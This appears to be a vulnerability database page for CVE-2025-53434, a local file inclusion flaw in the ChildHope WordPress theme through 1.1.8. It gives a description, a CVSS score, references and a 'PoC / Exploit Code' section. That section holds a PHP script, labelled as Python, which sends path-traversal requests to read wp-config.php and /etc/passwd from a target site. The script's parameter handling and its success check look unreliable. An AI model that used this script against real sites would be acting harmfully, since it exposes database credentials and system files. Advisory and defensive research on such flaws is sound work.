CVE-2025-53434

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes ChildHope childhope allows PHP Local File Inclusion.This issue affects ChildHope: from n/a through <= 1.1.8.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ChildHope Theme <= 1.1.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-53434 PoC - ChildHope Theme Local File Inclusion
 * Target: AncoraThemes ChildHope WordPress Theme <= 1.1.8
 * Type: Local File Inclusion
 * Author: Security Researcher
 * Usage: Modify TARGET_URL and run with PHP CLI
 */

// Configuration
$target_url = 'http://target-site.com/wp-content/themes/childhope/';
$target_file = 'page.php'; // Adjust based on actual vulnerable endpoint

// Files to attempt to read
$target_files = [
    '../../wp-config.php',
    '../../../../wp-config.php',
    '../../../wp-config.php',
    '../../../../../../etc/passwd',
    '../wp-config.php'
];

echo "[*] CVE-2025-53434 PoC - ChildHope LFI\n";
echo "[*] Target: {$target_url}\n\n";

foreach ($target_files as $file) {
    echo "[+] Testing: {$file}\n";
    
    $url = $target_url . '?' . http_build_query([
        $target_file => $file
    ]);
    
    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'timeout' => 10,
            'ignore_errors' => true
        ]
    ]);
    
    $response = @file_get_contents($url, false, $context);
    
    if ($response && strpos($response, '<?php') !== false) {
        echo "[!] VULNERABLE! Retrieved file content:\n";
        echo "----------------------------------------\n";
        echo $response;
        echo "----------------------------------------\n";
        break;
    }
}

echo "\n[*] PoC completed.\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53434
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53434
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53434/
[4] VulDB https://vuldb.com/cve/CVE-2025-53434
[5] https://patchstack.com/database/Wordpress/Theme/childhope/vulnerability/wordpress-childhope-theme-1-1-8-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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